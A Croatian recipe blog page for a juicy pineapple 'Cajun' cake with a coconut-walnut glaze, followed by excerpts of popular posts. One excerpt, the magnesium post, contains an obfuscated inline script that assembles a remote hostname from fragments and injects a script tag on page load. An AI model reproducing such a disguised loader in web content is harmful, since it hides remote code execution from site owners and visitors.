KOLAČ CAJUN - NEODOLJIVO SOČAN I FIN


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Kolač cajun - neodoljivo sočan i fin 



Kolač cajun sastoji se od sočnog biskvita koji se nakon pečenja dodatno "vlaži" preljevom na bazi mlijeka, kokosa i oraha. Kolač dobiva svoju originalnu sočnost od ananasa i tekućine u kojoj se ananas čuva u konzervama. Dok se biskvit peče u pećnici, napravite preljev koji će mu podariti dodatnu slast i okus. U originalnom receptu koriste se pekan orasi, no ako ih ne možete pronaći, možete upotrijebiti i naše "obične" orahe.




Kolač cajun 


Sastojci:

Za biskvit:

  • 550 konzerviranog ananasa u soku
  • 375 g glatkog brašna
  • 300 g bijelog šećera
  • 2 jaja
  • 2 čajne žličice sode bikarbone
  • prstohvat soli
  • biljno ulje za podmazivanje

Za preljev:

  • 160 ml kondenziranog nezaslađenog mlijeka
  • 150 g bijelog šećera
  • 130 g kokosovih listića
  • 120 g nasjeckanih oraha
  • 115 g maslaca



Priprema:

  1. Napravite biskvit: u većoj zdjeli pomiješajte brašno, šećer, sodu bikarbonu i sol. Dodajte nasjeckani ananas iz konzerve zajedno s tekućinom i sve dobro promiješajte. U zdjelu ubacite i jaja i nastavite ručno miješati.
  2. Tako pripremljenu smjesu prebacite u namašćeni kalup za pečenje i stavite peći u prethodno zagrijanu pećnicu na 180 Celzijevih stupnjeva oko 30 minuta, odnosno dok kolač nije pečen do kraja.
  3. Dok se kolač peče, u manjem loncu pomiješajte kondenzirano mlijeko, šećer i maslac i sve zagrijte na štednjaku oko dvije minute, dok se sastojci ne povežu. Maknite umak s vatre pa u njega dodajte listiće kokosa i nasjeckane orahe.
  4. Kada je biskvit pečen, izvadite ga iz pećnice, izbockajte ga drvenim štapićem za ražnjiće ili čačkalicom pa preko površine pravilno prelijte topao kokosov preljev. Ostavite da se preljev upije u kolač i ohladi. Servirajte ga uz šalicu omiljenog napitka. Dobar tek!


Pripremila: Ivana Matas 




Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više